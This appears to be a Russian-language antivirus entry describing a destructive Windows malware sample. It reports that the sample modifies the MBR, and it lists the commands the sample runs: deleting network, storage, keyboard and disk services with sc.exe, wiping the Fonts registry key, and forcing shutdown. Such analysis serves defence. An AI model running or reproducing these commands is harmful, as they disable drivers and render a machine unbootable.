Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c @echo off
- '<SYSTEM32>\sc.exe' delete LanmanServer
- '<SYSTEM32>\cmd.exe' /c sc delete LanmanServer
- '<SYSTEM32>\sc.exe' delete Tcpip
- '<SYSTEM32>\cmd.exe' /c sc delete Tcpip
- '<SYSTEM32>\sc.exe' delete NetBt
- '<SYSTEM32>\cmd.exe' /c sc delete NetBt
- '<SYSTEM32>\sc.exe' delete msahci
- '<SYSTEM32>\cmd.exe' /c sc delete msahci
- '<SYSTEM32>\cmd.exe' /c shutdown /s /f /t 0
- '<SYSTEM32>\sc.exe' delete iastorV
- '<SYSTEM32>\sc.exe' delete kbdclass
- '<SYSTEM32>\cmd.exe' /c sc delete kbdclass
- '<SYSTEM32>\sc.exe' delete i8042prt
- '<SYSTEM32>\cmd.exe' /c sc delete i8042prt
- '<SYSTEM32>\sc.exe' delete \Device\Harddisk0\DR0
- '<SYSTEM32>\cmd.exe' /c sc delete \Device\Harddisk0\DR0
- '<SYSTEM32>\reg.exe' DELETE "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts" /va /f
- '<SYSTEM32>\cmd.exe' /c REG DELETE "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts" /va /f
- '<SYSTEM32>\cmd.exe' /c sc delete iastorV
- '<SYSTEM32>\shutdown.exe' /s /f /t 0
Пытается завершить работу операционной системы Windows.
